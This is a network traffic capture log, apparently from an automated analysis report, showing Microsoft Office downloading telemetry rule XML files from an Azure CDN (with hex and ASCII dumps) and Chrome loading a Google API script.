T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:24 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:24 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120124Z-16547b76f7fgvq8chC1DFWhd2w00000003d0000000002yzp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:24 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:24 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: f39a0a9a-101e-0046-2da4-3791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120124Z-164f84587bfmxxfphC1DFW3au80000000180000000005puq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120124Z-16547b76f7fmcv27hC1DFWgpcg00000001k00000000062aa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:24 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 43e60c6b-601e-00ab-6109-3766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120124Z-1866b5c5fbbqmbqjhC1DFWwgvc00000002c0000000002d6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:24 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:24 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: e7102de9-901e-0029-7d09-37274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120124Z-1866b5c5fbblmqrkhC1DFWf9ns00000000zg000000000dx3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49726	142.250.186.142	443	348	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:24 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 12:01:24 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Nov 2024 00:30:46 GMT Expires: Sat, 15 Nov 2025 00:30:46 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 127838 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-16 12:01:24 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-16 12:01:24 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
